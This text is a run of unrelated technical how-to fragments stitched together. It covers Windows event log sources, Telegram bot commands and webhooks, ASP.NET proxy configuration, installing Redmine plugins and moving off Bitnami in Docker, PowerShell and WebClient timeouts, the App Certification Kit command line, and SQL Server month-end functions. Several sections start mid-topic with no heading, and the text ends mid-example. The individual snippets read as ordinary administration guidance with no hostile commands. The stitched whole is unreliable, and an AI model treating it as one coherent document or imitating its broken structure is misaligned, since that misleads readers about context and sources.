eventcreate /L APPLICATION /SO TestApiCmd /T INFORMATION /ID 1 ^
    /D "TestApiCmd registered"

It writes only to the Application and System logs, and the event ID must be from 1 to 1000.

Remove a source

# Windows PowerShell 5.1
Remove-EventLog -Source "TestApi"

# PowerShell 7
[System.Diagnostics.EventLog]::DeleteEventSource("TestApi")

Rules for source names

• The name is unique on the computer and can't match the name of a log.
• A source writes to one log. If you move it to another log, the change takes effect after a reboot.
• Register the source when installing the app, not right before the first write. Until Windows refreshes its list of sources, writes with a new source fail.
• If -LogName names a log that doesn't exist, New-EventLog creates it. The log appears after the first event is written, and the first eight characters of its name must differ from those of every other log.

start - Start the bot
help - What the bot can do
settings - Settings

Rules from the Bot API:

• a command is 1–32 characters: lowercase English letters, digits and underscores;
• a description is 1–256 characters;
• a list holds up to 100 commands.

Telegram asks every bot to support /start, /help and, if the bot has settings, /settings. The first time a user opens a chat with the bot, they see a Start button.

The menu is only a hint. A message can contain any command, including ones you didn't list, and the bot isn't told which list the user saw. Check commands and permissions on your server. In a group with several bots, add the bot's username to the command, /help@my_bot, so it reaches the right one.

Set commands with the API: setMyCommands

TOKEN="123456789:AA..."

curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"commands": [
        {"command": "start", "description": "Start the bot"},
        {"command": "help", "description": "What the bot can do"}
      ]}'

The response is {"ok":true,"result":true}. getMyCommands returns the current list, deleteMyCommands deletes it.

language_code and scope give different users different lists:

# The menu for users whose Telegram is in Russian
curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"language_code": "ru", "commands": [
        {"command": "start", "description": "Запустить бота"},
        {"command": "help", "description": "Что умеет бот"}
      ]}'

# The menu for administrators of every group: repeat start and help
curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"scope": {"type": "all_chat_administrators"}, "commands": [
        {"command": "start", "description": "Start the bot"},
        {"command": "help", "description": "What the bot can do"},
        {"command": "ban", "description": "Ban a user"}
      ]}'

Scope types: default, all_private_chats, all_group_chats, all_chat_administrators, chat, chat_administrators, chat_member. Each user sees one list, not a merge: a list for a scope or a language replaces the whole menu. Telegram picks the list for the narrowest scope that has one, first in the user's language, then without a language, and falls back to default. Pass the same scope and language_code to getMyCommands and deleteMyCommands.

BotFather commands

BotFather adds commands over time. Type / in the chat with it to see the current list.

Bot API URLs: token and webhook

Every method lives at https://api.telegram.org/bot<token>/METHOD, over GET or POST:

# Check the token: returns the bot's id, name and username
curl -s "https://api.telegram.org/bot$TOKEN/getMe"

# Set a webhook: Telegram sends updates to this HTTPS URL
curl -s "https://api.telegram.org/bot$TOKEN/setWebhook" \
  -d url=https://example.com/telegram/webhook \
  -d secret_token=my-secret-123

# Webhook status: url, pending_update_count, last_error_message
curl -s "https://api.telegram.org/bot$TOKEN/getWebhookInfo"

# Remove the webhook and drop the queued updates
curl -s "https://api.telegram.org/bot$TOKEN/deleteWebhook" \
  -d drop_pending_updates=true

• A webhook works on ports 443, 80, 88 and 8443, always over HTTPS, port 80 included.
• With secret_token, every request from Telegram carries the header X-Telegram-Bot-Api-Secret-Token with that value. Compare it to drop requests that didn't come from Telegram.
• If your server answers with anything other than 2XX, Telegram retries the update and gives up after several attempts.
• getUpdates doesn't work while a webhook is set: Conflict: can't use getUpdates method while webhook is active; use deleteWebhook to delete the webhook first. To switch to polling, call deleteWebhook.

The token in the URL ends up in shell history and server logs. If it leaks, get a new one with /token in BotFather.

<configuration>
  <system.net>
    <defaultProxy>
      <proxy proxyaddress="http://192.168.0.1:8080" bypassonlocal="true" />
    </defaultProxy>
  </system.net>
</configuration>

Outgoing requests from the app (HttpWebRequest, WebClient, and HttpClient on .NET Framework) now go through 192.168.0.1:8080. ASP.NET restarts the app when web.config changes, so nothing else is needed.

An ASP.NET Core app ignores this section, see the last part.

Attributes

• proxyaddress: the proxy as a full URI with the scheme, http://host:port.
• bypassonlocal="true": requests to localhost, 127.0.0.1 and host names without a dot (http://webserver) skip the proxy.
• usesystemdefault="true": take the system proxy settings from Internet Options; attributes you set override them. Those settings belong to a Windows user, and an app pool account usually has none, so on IIS set proxyaddress explicitly.
• useDefaultCredentials="true" on defaultProxy: if the proxy asks for Windows authentication, the app signs in as the app pool account. For ApplicationPoolIdentity that's the computer account on the network.
• enabled="false" on defaultProxy: no proxy for this app.
• <bypasslist>: regular expressions for addresses that skip the proxy.

All of it together:

<configuration>
  <system.net>
    <defaultProxy enabled="true" useDefaultCredentials="true">
      <proxy proxyaddress="http://proxy.corp.local:8080"
             bypassonlocal="true"
             usesystemdefault="false" />
      <bypasslist>
        <!-- A regular expression: every host in corp.local, on any port -->
        <add address="[a-z0-9-]+\.corp\.local(:\d+)?$" />
      </bypasslist>
    </defaultProxy>
  </system.net>
</configuration>

The same section in %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config applies to every 64-bit .NET Framework 4.x app on the server. 32-bit app pools read Framework instead of Framework64.

Check that requests go through the proxy

From the server, check that the proxy lets you out. curl.exe ships with Windows 10 1803, Windows Server 2019 and later:

curl.exe -I -x http://192.168.0.1:8080 https://example.com

Inside the app, ask .NET which proxy it will use for an address:

var target = new Uri("https://example.com/");
var proxy = WebRequest.DefaultWebProxy.GetProxy(target);
// proxy == target means the request goes directly, without the proxy

ASP.NET Core under IIS

.NET Core and .NET 5+ don't read system.net from web.config. HttpClient takes the proxy from the environment variables HTTP_PROXY, HTTPS_PROXY, ALL_PROXY and NO_PROXY, and on Windows, if they aren't set, from the user's proxy settings. Set the variables in the aspNetCore section of the same web.config:

<aspNetCore processPath="dotnet" arguments=".\MyApp.dll"
            hostingModel="inprocess">
  <environmentVariables>
    <environmentVariable name="HTTP_PROXY" value="http://192.168.0.1:8080" />
    <environmentVariable name="HTTPS_PROXY" value="http://192.168.0.1:8080" />
    <environmentVariable name="NO_PROXY" value="localhost,.corp.local" />
  </environmentVariables>
</aspNetCore>

NO_PROXY is a comma-separated list without asterisks. .corp.local with a leading dot matches corp.local and all its subdomains, corp.local without the dot matches only that host.

Or set the proxy in code at startup, before the first request:

HttpClient.DefaultProxy = new WebProxy("http://192.168.0.1:8080", true);

The second argument is BypassOnLocal, like bypassonlocal in the config.

cd /path/to/redmine
git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production

Then restart Redmine: touch tmp/restart.txt under Passenger, sudo /opt/bitnami/ctlscript.sh restart on a Bitnami server, docker compose restart redmine in Docker. Otherwise, restart the app server, such as Puma. The plugin shows up in Administration → Plugins.

Tested on Redmine 7.0.3, 6.1.6 and 5.1.12 (official image) and Bitnami's 6.0.6 image.

What each step does

• The folder in plugins/ is named after the plugin ID, not the repository. The README usually gives the right clone command.
• bundle install installs the plugin's gems. Skip it, and Redmine won't start: Could not find gem 'write_xlsx' in locally installed gems.
• redmine:plugins:migrate creates the plugin's tables. Back up the database first. Skip it, and pages return error 500: relation "view_customizes" does not exist.
• The restart loads the plugin: Redmine reads plugins only at startup.

To check from the shell:

bundle exec bin/about

The plugin is listed under Redmine plugins:.

The folder name must match the plugin ID

The ID is in init.rb: Redmine::Plugin.register :view_customize. A plain git clone of that repository creates redmine-view-customize, and a GitHub ZIP unpacks to redmine_drawio-master. Redmine won't start with such a folder:

Redmine::PluginNotFound: Plugin not found. The directory for plugin view_customize should be /usr/src/redmine/plugins/view_customize.

Rename the folder and repeat the steps.

Uninstall a Redmine plugin

cd /path/to/redmine
bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0 RAILS_ENV=production
rm -rf plugins/view_customize

Then restart. VERSION=0 rolls back the plugin's migrations and drops its tables with the data, so back up first. Keep the order: without the folder, the task stops with Plugin view_customize was not found, and the tables stay.

Install a plugin on Bitnami Redmine

Bitnami VMs and cloud images keep Redmine in /opt/bitnami/redmine. Bitnami's guide has the same steps:

cd /opt/bitnami/redmine/plugins
git clone https://github.com/onozaty/redmine-view-customize.git view_customize
cd ..
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
sudo /opt/bitnami/ctlscript.sh restart

On an old stack with Redmine 3.x, like mine in 2017, Redmine sits in /opt/bitnami/apps/redmine/htdocs. Run the same commands there and restart Apache: sudo /opt/bitnami/ctlscript.sh restart apache. My installer kept ctlscript.sh in /opt/redmine-3.3.2-2.

To see Administration → Plugins, sign in as user, Bitnami's admin login (lost the password?).

Bitnami runs Bundler in deployment mode, so a plugin that adds gems fails with the lockfile can't be updated because frozen mode is set. Unfreeze it and run bundle install again:

bundle config set --local frozen false
bundle install

If a gem fails to build with make failedNo such file or directory - make or extconf.rb failed, install a compiler and the zlib headers, then repeat bundle install:

sudo apt-get install build-essential zlib1g-dev

The guide's --no-deployment is deprecated in Bundler 2.6: the frozen error stays, and the vendor/bundle path disappears from .bundle/config. After that, deployment false reinstalls every gem; frozen false still works.

Bitnami Docker image

Plugins live on the volume in /bitnami/redmine/plugins, and the container migrates them at every start. Gems don't persist: after I recreated the container, it exited at "Executing database migrations" with the frozen lockfile error (visible with BITNAMI_DEBUG=true). The image has no compiler either.

Bitnami is winding down

Free Bitnami images, AWS ones included, no longer get updates. What happened and how to move off Bitnami: Bitnami Redmine install in 2026. For a new server, and for plugins with gems, use the official redmine image.

Install a plugin in Docker

At every start, the official image installs missing gems (bundle check || bundle install) and, if REDMINE_PLUGINS_MIGRATE is set, runs plugin migrations. In compose.yaml:

services:
  redmine:
    build: .
    environment:
      # plus your REDMINE_DB_* settings
      SECRET_KEY_BASE: "a-long-random-string"
      REDMINE_PLUGINS_MIGRATE: "1"
    volumes:
      - ./plugins:/usr/src/redmine/plugins

The stock image has no compiler. If a plugin's gems need one, the container stops with an error like make failedNo such file or directory - make or extconf.rb failed. Hence the Dockerfile next to compose.yaml:

FROM redmine:7.0
RUN apt-get update \
 && apt-get install -y --no-install-recommends build-essential \
 && rm -rf /var/lib/apt/lists/*

git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
# first run; later: docker compose restart redmine
docker compose up -d --build
docker compose exec redmine bundle exec bin/about

Run the last command once docker compose logs redmine shows Listening on. The plugin is listed under Redmine plugins:.

Uninstall:

docker compose exec redmine bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0
rm -rf plugins/view_customize
docker compose restart redmine

Set SECRET_KEY_BASE, not REDMINE_SECRET_KEY_BASE: the entrypoint passes the latter only to the server, and docker compose exec fails with Missing `secret_key_base` . Recreating the container reinstalls plugin gems, so that start needs internet.

Redmine 6 and 7 compatibility

Supported: 7.0 (Rails 8.1), 6.1 (Rails 7.2, bug and security fixes), 6.0 (Rails 7.2, security fixes only). 5.x is no longer supported. Plugins break on major upgrades: 6.0 brought Rails 7.2, Propshaft assets and SVG icons; 7.0 brought Rails 8.1 and removed the old icon-* CSS classes.

requires_redmine in init.rb is only a minimum. redmine_banner, archived since 2020, declares 4.0 or later, and on 7.0.3 Redmine doesn't start: LoadError: cannot load such file -- banners/application_hooks. One broken plugin takes Redmine down; remove its folder and restart. A plugin that needs a newer Redmine says so: additionals plugin requires Redmine 7.0 or higher but current is 6.1.6.stable.

Check the last commit and the README requirements. The plugin directory filters by version, as marked by authors: 149 of 1,370 plugins claim 7.0.

Useful Redmine plugins for 6.1 and 7.0

All installed, migrated and loaded on 6.1.6 and 7.0.3 (Additionals on 7.0.3 only). Folder names are in brackets.

• View Customize 3.6.0 (view_customize): your JavaScript, CSS or HTML on chosen pages.
• Additionals 4.6.0 (additionals): dashboards, wiki macros, issue rules. Branch stable; for 6.1, tag 4.5.0. No SQLite.
• Issue Templates 1.2.3 (redmine_issue_templates): issue templates per project.
• Drawio 1.5.6 (redmine_drawio): draw.io diagrams in wiki and issues.
• Wiki Extensions 1.3.0 (redmine_wiki_extensions): wiki macros, comments, tags.
• XLSX format issue exporter 0.3.0 (redmine_xlsx_format_issue_exporter): issue lists to Excel. Needs the compiler in Docker.
• Redmine OAuth 4.2.3 (redmine_oauth): sign-in with Google, GitHub, GitLab, Azure AD, Okta, Keycloak or OpenID Connect. On 6.1, needs the compiler in Docker.
• Redmine Dashboard (redmine_dashboard): task and planning boards. Clone main: release 2.16.0 predates Redmine 7.

services:
  db:
    image: postgres:18
    restart: unless-stopped
    environment:
      POSTGRES_USER: redmine
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: redmine
    volumes:
      - pgdata:/var/lib/postgresql
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -h 127.0.0.1 -U redmine -d redmine"]
      interval: 5s
      retries: 10

  redmine:
    image: redmine:7.0
    restart: unless-stopped
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "8080:3000"
    environment:
      REDMINE_DB_POSTGRES: db
      REDMINE_DB_USERNAME: redmine
      REDMINE_DB_PASSWORD: ${DB_PASSWORD}
      REDMINE_DB_DATABASE: redmine
      SECRET_KEY_BASE: ${SECRET_KEY_BASE}
    volumes:
      - files:/usr/src/redmine/files

volumes:
  pgdata:
  files:

Generate the passwords and start:

printf 'DB_PASSWORD=%s\nSECRET_KEY_BASE=%s\n' "$(openssl rand -hex 16)" "$(openssl rand -hex 64)" > .env
docker compose up -d

When docker compose logs redmine shows Listening on http://0.0.0.0:3000, open http://your-server:8080 and sign in as admin / admin. Redmine asks for a new password right away. Tested with Redmine 7.0.3 and PostgreSQL 18.6.

What happened to Bitnami Redmine

As of November 2026:

• bitnami/redmine on Docker Hub has no public tags: it now needs a paid Bitnami Secure Images subscription. The free bitnamisecure tier has no Redmine.
• bitnamilegacy/redmine is a frozen copy, last tag 6.0.6-debian-12-r7 from August 22, 2025. It gets "no further updates or support" (announcement), and its Docker Hub page warns that it "may be removed in the future".
• AWS: Bitnami AMIs and Lightsail blueprints were removed on June 10, 2026 (Broadcom). Running instances work but get no updates. The Marketplace listing opens "Page not found".
• VM and installers: since June 2025 Bitnami OVAs are for VMware customers only (bitnami/vms#1831), and Redmine pages on bitnami.com redirect to the Bitnami Secure Images homepage. Native installers ended in November 2022.

Your Bitnami server keeps running, unpatched, while upstream Redmine is at 7.0.3, 6.1.6 and 6.0.12 (downloads).

Bitnami Redmine default login and password

The login is user, not admin. Where to find the password:

• VM or EC2 instance: sudo cat /home/bitnami/bitnami_credentials. On EC2 it's also in the instance's system log for the first 24 hours.
• Lightsail: cat ~/bitnami_application_password.
• bitnamilegacy/redmine in Docker: bitnami1, unless REDMINE_PASSWORD was set on the first start.
• MariaDB on a Bitnami VM: user root, the same password as the application.

Lost the password? Reset it with one command.

Configure email

Redmine reads SMTP settings from config/configuration.yml. Create it next to compose.yaml:

production:
  email_delivery:
    delivery_method: :smtp
    smtp_settings:
      address: smtp.example.com
      port: 587
      enable_starttls_auto: true
      authentication: :login
      user_name: "redmine@example.com"
      password: "app-password"

Add it to the redmine volumes and run docker compose up -d:

    volumes:
      - files:/usr/src/redmine/files
      - ./configuration.yml:/usr/src/redmine/config/configuration.yml

On a Bitnami server, edit /opt/bitnami/redmine/config/configuration.yml and run sudo /opt/bitnami/ctlscript.sh restart.

To send a test email:

1. In My account, put in your real address. The test goes there, and a fresh admin has a placeholder (admin@dummy.invalid in 7.0).
2. In Administration → Settings → Email notifications, set "Emission email address".
3. Click "Send a test email".

Set the base URL

Links in emails use the host name from the settings. Set "Host name and path" and "Protocol" in Administration → Settings → General, or from the shell:

docker compose exec redmine bundle exec rails runner \
  'Setting.host_name = "redmine.example.com"; Setting.protocol = "https"'

The container serves plain HTTP on port 3000; put nginx, Caddy or Traefik in front for HTTPS.

On a Bitnami server, point the domain's DNS at it and run sudo /opt/bitnami/bncert-tool. It asks for the domains, gets a Let's Encrypt certificate and sets up its renewal and the HTTP-to-HTTPS redirect. The Apache vhosts, where I set ServerName and ServerAlias back in 2016, are now in /opt/bitnami/apache/conf/vhosts/ (Bitnami docs).

secret_key_base: the Bitnami error and logouts

Run rails or rake by hand in a Bitnami Redmine without a key, and it fails:

Missing `secret_key_base` for 'production' environment, set this string with `bin/rails credentials:edit` (ArgumentError)

Ignore the credentials:edit hint. On a Bitnami VM or cloud server, Redmine generates the key with its own task:

cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rake generate_secret_token

The key signs session cookies, so a new one logs everyone out after the restart.

In a bitnamilegacy/redmine container, put SECRET_KEY_BASE in its environment instead, as in the compose file above. Without it the container generates a new key on every recreate, and so does the official image. I checked both: with the variable set, my session survived a container recreate; without it, I was back at the login page.

Move from Bitnami to the official image

Your data is the bitnami_redmine database and the files folder. MySQL 8.4 loads a dump from Bitnami's MariaDB after one sed fix, so swap the database: replace the db service, change REDMINE_DB_POSTGRES to REDMINE_DB_MYSQL and rename the pgdata volume to dbdata:

  db:
    image: mysql:8.4
    restart: unless-stopped
    command: --transaction-isolation=READ-COMMITTED
    environment:
      MYSQL_DATABASE: redmine
      MYSQL_USER: redmine
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_RANDOM_ROOT_PASSWORD: "yes"
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: ["CMD-SHELL", "mysql -h 127.0.0.1 -u redmine -p$$MYSQL_PASSWORD -e 'SELECT 1' redmine"]
      interval: 5s
      retries: 20

Redmine's install guide asks for READ-COMMITTED on MySQL.

On the Bitnami server:

mysqldump -u root -p bitnami_redmine > bitnami_redmine.sql
tar czf redmine_files.tar.gz -C /opt/bitnami/redmine files

The password is the application password. If mysqldump isn't found, use mariadb-dump. From a bitnamilegacy/redmine compose project:

docker compose exec -T mariadb mariadb-dump -u root bitnami_redmine > bitnami_redmine.sql
docker compose cp redmine:/bitnami/redmine/files ./files

If root has a password there, make the first line docker compose exec -T mariadb sh -c 'mariadb-dump -u root -p"$MARIADB_ROOT_PASSWORD" bitnami_redmine' > bitnami_redmine.sql.

On the new server (skip tar if you already have a files folder):

docker compose up -d --wait db
sed 's/utf8mb4_uca1400_ai_ci/utf8mb4_0900_ai_ci/g' bitnami_redmine.sql \
  | docker compose exec -T db sh -c 'mysql -u redmine -p"$MYSQL_PASSWORD" redmine'
tar xzf redmine_files.tar.gz
docker compose create redmine
docker compose cp files/. redmine:/usr/src/redmine/files/
docker compose up -d
docker compose exec redmine chown -R redmine:redmine files

sed renames a collation MySQL doesn't have: MariaDB 11.5 and newer, bitnamilegacy/mariadb:latest included, mark tables utf8mb4_uca1400_ai_ci. A dump from older MariaDB passes through unchanged.

On start the image migrates the 6.0 database to 7.0; sign in with your Bitnami login. Don't skip chown: docker compose cp keeps the old file owners, and uploads fail with Errno::EACCES: Permission denied. I moved a bitnamilegacy/redmine:6.0.6 install this way, attachments included.

Plugins: put the ones that support 7.0 in ./plugins, mount it at /usr/src/redmine/plugins and set REDMINE_PLUGINS_MIGRATE: "1". More in installing Redmine plugins.

Upgrade Redmine in Docker

Back up first:

docker compose exec -T db pg_dump -U redmine redmine > redmine-$(date +%F).sql
docker compose cp redmine:/usr/src/redmine/files ./files-backup

If you moved to MySQL, dump with docker compose exec -T db sh -c 'mysqldump --no-tablespaces -u redmine -p"$MYSQL_PASSWORD" redmine' > redmine-$(date +%F).sql.

Change the tag, say redmine:6.1 to redmine:7.0, and run:

docker compose pull
docker compose up -d

Migrations run on start; that's how I upgraded 6.1.6 to 7.0.3. The 7.0 tag also picks up 7.0.x fixes on every pull.

PostgreSQL majors don't upgrade like that. postgres:19rc1 on a volume from 18 exits with there appears to be PostgreSQL data in: /var/lib/postgresql/18/docker. Dump, start the new version on an empty volume, restore with psql.

Common mistakes

• Mounting the PostgreSQL 18 volume at /var/lib/postgresql/data, as older guides do. The container exits with Error: in 18+, these Docker images are configured to store database data in a format which is compatible with "pg_ctlcluster". Mount /var/lib/postgresql.
• A dump from MariaDB 11.5 or newer loaded without the sed step: ERROR 1273 (HY000) at line 26: Unknown collation: 'utf8mb4_uca1400_ai_ci'.
• A mysqladmin ping healthcheck. It reports success even on Access denied, and on first start it answers MySQL's temporary setup server, so --wait db returns before the real server is up. Log in over TCP, as in the compose above.
• A dump made with --databases, as in Bitnami's upgrade guide. It switches to bitnami_redmine, and the import fails with Access denied for user 'redmine'@'%' to database 'bitnami_redmine'.
• A $ in .env: Compose reads ab$cd as ab plus an empty variable. Hex passwords from openssl rand avoid that.
• Paths from the 2016 version of this post: /opt/bitnami/apps/redmine and Apache tweaks for the /redmine prefix. Current Bitnami builds use /opt/bitnami/redmine at the site root.

# Web cmdlets: seconds, 0 (default) = no timeout
Invoke-WebRequest -Uri 'https://example.com/' -UseBasicParsing -TimeoutSec 30
Invoke-RestMethod -Uri 'https://example.com/' -TimeoutSec 30

# HttpClient: set Timeout before the first request, later it throws
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
$http.Timeout = [TimeSpan]::FromSeconds(30)
$html = $http.GetStringAsync('https://example.com/').GetAwaiter().GetResult()

WebClient timeout: subclass it with Add-Type

Override GetWebRequest to set timeouts on every request:

Add-Type -IgnoreWarnings -TypeDefinition @"
using System;
using System.Net;

public class TimeoutWebClient : WebClient
{
    public int TimeoutMs = 30000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        WebRequest request = base.GetWebRequest(address);
        if (request != null)
        {
            request.Timeout = TimeoutMs;
            HttpWebRequest http = request as HttpWebRequest;
            if (http != null) { http.ReadWriteTimeout = TimeoutMs; }
        }
        return request;
    }
}
"@

$wc = New-Object TimeoutWebClient
$wc.TimeoutMs = 10000   # milliseconds
$wc.DownloadString('https://example.com/')

Why it looks like this:

• Timeout limits the wait for the response (default 100 seconds), ReadWriteTimeout each read of the body (default 5 minutes). In my test, an 8-second pause after headers tripped a 3-second ReadWriteTimeout, but not Timeout.
• PowerShell 7 needs -IgnoreWarnings: WebClient is obsolete in .NET 6+ (SYSLIB0014), and Add-Type treats warnings as errors, failing with Cannot add type. Compilation errors occurred.
• The C# avoids newer syntax so the same block compiles in Windows PowerShell 5.1 with its old CodeDom compiler. A type can't be redefined in a session: after editing the class, rename it or restart PowerShell.

Invoke-WebRequest -TimeoutSec: what it limits

-TimeoutSec covers only the wait for response headers: DNS, connecting and server think time, not the body. With -TimeoutSec 3, an 8-second body after instant headers completed fine.

PowerShell 7.4 renamed the parameter to -ConnectionTimeoutSeconds (-TimeoutSec stays as an alias) and added -OperationTimeoutSeconds, the longest allowed pause between chunks of the body. For downloads, set both:

Invoke-WebRequest -Uri $url -OutFile $file -ConnectionTimeoutSeconds 15 -OperationTimeoutSeconds 60

Neither caps the total time; HttpClient.Timeout does for GetStringAsync, body included.

Also worth knowing:

• -MaximumRetryCount doesn't retry timeouts: -TimeoutSec 2 -MaximumRetryCount 2 failed after 2 seconds.
• Windows PowerShell 5.1 has only -TimeoutSec, and a slow DNS lookup can delay it to 15 seconds or more (docs); PowerShell 7 isn't affected. Add -UseBasicParsing in 5.1: since the December 2025 security update, Invoke-WebRequest without it stops at a confirmation prompt.

"The operation has timed out" and DownloadDataInternal

Timeout on Windows PowerShell 5.1 or .NET Framework:

Exception calling "DownloadString" with "1" argument(s): "The operation has timed out"

System.Net.WebException: The operation has timed out
   at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest& request)
   at System.Net.WebClient.DownloadString(Uri address)

PowerShell 7.5 adds a period and the HttpWebRequest.GetResponse(), GetWebResponse and DownloadBits frames on top.

On .NET Framework DownloadDataInternal tops every DownloadString and DownloadData error (throw e; resets the trace), so read the message line:

• "The operation has timed out": no response within HttpWebRequest.Timeout (100 seconds by default). Change it with the subclass above or use the cmdlets. For ASP.NET behind a proxy, see web.config proxy settings.
• "(407) Proxy Authentication Required": set $wc.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials, or useDefaultCredentials="true" on <defaultProxy> in web.config.
• "Could not create SSL/TLS secure channel": run [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor 'Tls12' first.

Catch a timeout by type and check Status:

try {
    $wc.DownloadString($url)
}
catch [System.Net.WebException] {
    if ($_.Exception.Status -eq [System.Net.WebExceptionStatus]::Timeout) {
        Write-Warning "Timed out: $url"
    }
    else { throw }
}

A stalled body (ReadWriteTimeout) in PowerShell 7 throws "An exception occurred during a WebClient request." with Status UnknownError, which the if misses; add -or $_.Exception.InnerException -is [System.IO.IOException].

Invoke-WebRequest in PowerShell 7 throws TaskCanceledException ("The request was canceled due to the configured HttpClient.Timeout of 30 seconds elapsing.") on the connection timeout and TimeoutException on the operation timeout (inside AggregateException with -OutFile):

try {
    Invoke-RestMethod -Uri $url -TimeoutSec 30
}
catch [System.Threading.Tasks.TaskCanceledException] {
    Write-Warning "No response in 30 seconds: $url"
}

Windows PowerShell 5.1 throws WebException instead (docs): use the WebClient pattern there.

Async methods ignore Timeout in Windows PowerShell 5.1

In .NET Framework, HttpWebRequest.Timeout has no effect on asynchronous requests, and DownloadStringAsync, DownloadFileAsync and their TaskAsync versions run on BeginGetResponse. In PowerShell 7, DownloadStringTaskAsync respected a 3-second timeout in my test. On 5.1, use synchronous methods or HttpClient.

C# WebClient timeout

On .NET 6+, Microsoft recommends HttpClient:

using var http = new HttpClient { Timeout = TimeSpan.FromSeconds(30) };
try
{
    Console.WriteLine(await http.GetStringAsync(url));
}
catch (TaskCanceledException ex) when (ex.InnerException is TimeoutException)
{
    Console.WriteLine("Timed out");
}

Legacy code stuck on WebClient:

class TimeoutWebClient : WebClient
{
    public int TimeoutMs { get; set; } = 30_000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        var request = base.GetWebRequest(address);
        request.Timeout = TimeoutMs;
        if (request is HttpWebRequest http) http.ReadWriteTimeout = TimeoutMs;
        return request;
    }
}

On .NET 6+, add #pragma warning disable SYSLIB0014.

The UI workflow of Windows App Certification Kit is not supported on this OS version.

The command-line version, appcert.exe, works there. It runs the same tests, and it's what you need on a build server anyway.

:: Command Prompt opened as administrator
cd /d "C:\Program Files (x86)\Windows Kits\10\App Certification Kit"

:: Microsoft's docs run reset before every test
appcert.exe reset

:: Test a package file that isn't installed
appcert.exe test -appxpackagepath "C:\build\MyApp_1.0.0.0_x64.msix" ^
    -reportoutputpath "C:\build\report.xml"

The kit comes with the Windows SDK, and C:\Program Files (x86)\Windows Kits\10\App Certification Kit\ is its default folder. appcert.exe /? lists all the parameters.

Test an installed app by its package full name

That's how I did it in 2016: install the package, then pass its full name.

1. Install the package. Visual Studio puts the Add-AppDevPackage.ps1 script in the package's _Test folder under AppPackages: right-click it and choose Run with PowerShell.

2. Find the PackageFullName:

Get-AppxPackage -Name "*Greets*"

3. Run the test with that name:

appcert.exe reset
appcert.exe test ^
    -packagefullname "1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt" ^
    -reportoutputpath "C:\build\report.xml"

I kept it in a bat file next to the package:

@echo off
set KIT=C:\Program Files (x86)\Windows Kits\10\App Certification Kit
set PKG=1257MixVlad.Greets_2.2.0.0_x64__v53m0nncvwpbt
set REPORT=%~dp0report.xml

:: Delete the old report: the kit may refuse to overwrite it,
:: and you won't read stale results
del "%REPORT%" 2>nul

"%KIT%\appcert.exe" reset
"%KIT%\appcert.exe" test -packagefullname "%PKG%" -reportoutputpath "%REPORT%"
pause

%~dp0 is the folder of the bat file and already ends with a backslash. The report path must end in .xml, otherwise the kit rejects it.

For a desktop app with an installer, Microsoft's docs give this command:

appcert.exe test -apptype desktop -appusage peruser ^
    -setuppath "C:\build\setup.exe" ^
    -reportoutputpath "C:\build\report.xml"

Read the report

The root element REPORT has an OVERALL_RESULT attribute: PASS, WARNING or FAIL. Each test is a TEST element inside REQUIREMENTS/REQUIREMENT with its result in RESULT. In PowerShell:

[xml]$report = Get-Content -Raw "C:\build\report.xml"
$report.REPORT.OVERALL_RESULT

# Tests that didn't pass
$tests = $report.SelectNodes('/REPORT/REQUIREMENTS/REQUIREMENT/TEST')
foreach ($test in $tests) {
    $result = $test.SelectSingleNode('RESULT')
    if ($result -and $result.InnerText.Trim() -ne 'PASS') {
        '{0}: {1}' -f $test.GetAttribute('NAME'), $result.InnerText.Trim()
    }
}

The kit also saves an HTML copy of the report with the same name in %LOCALAPPDATA%\Microsoft\AppCertKit\.

On a build server

• Run as administrator.
• The docs require an active user session: a service may start the kit only inside a logged-in user's session, not in Session 0. If the kit fails on a build agent installed as a Windows service, run the agent as a regular process under a logged-in user. The same page says newer kits can run in automated testing without an interactive session, so try your version first.
• Turn on Developer Mode in Windows settings: it's in the kit's prerequisites.
• Performance test thresholds assume a low-power computer, so a fast build server can pass tests a weak laptop fails. Microsoft recommends testing on a low-power computer.

DECLARE @d datetime = '2026-11-04T15:30:00';

SELECT EOMONTH(@d);                           -- 2026-11-30
SELECT DATEFROMPARTS(YEAR(@d), MONTH(@d), 1); -- 2026-11-01

EOMONTH function syntax

EOMONTH ( start_date [ , month_to_add ] )

• start_date — a date, datetime, datetime2 or a string that converts to a date.
• month_to_add — optional integer. EOMONTH shifts the date by that many months first, then takes the last day. Negative values go back.
• The result is always date, whatever type you pass in. The time part is dropped.

EOMONTH appeared in SQL Server 2012 and is available in Azure SQL Database, Azure SQL Managed Instance, Azure Synapse and Microsoft Fabric. On 2008 and older the replacement is DATEADD(day, -1, DATEADD(month, DATEDIFF(month, 0, @d) + 1, 0)), which returns datetime.

Last day of the current, previous and next month

SELECT EOMONTH(GETDATE())     AS this_month,  -- 2026-11-30
       EOMONTH(GETDATE(), -1) AS prev_month,  -- 2026-10-31
       EOMONTH(GETDATE(), 1)  AS next_month;  -- 2026-12-31

The comments show results for November 4, 2026. Leap years are handled: EOMONTH('2024-02-10') returns 2024-02-29.

First day of the month in SQL Server

All four return November 1, 2026, but the types differ:

DECLARE @d datetime = '2026-11-04T15:30:00';

-- date, SQL Server 2012+
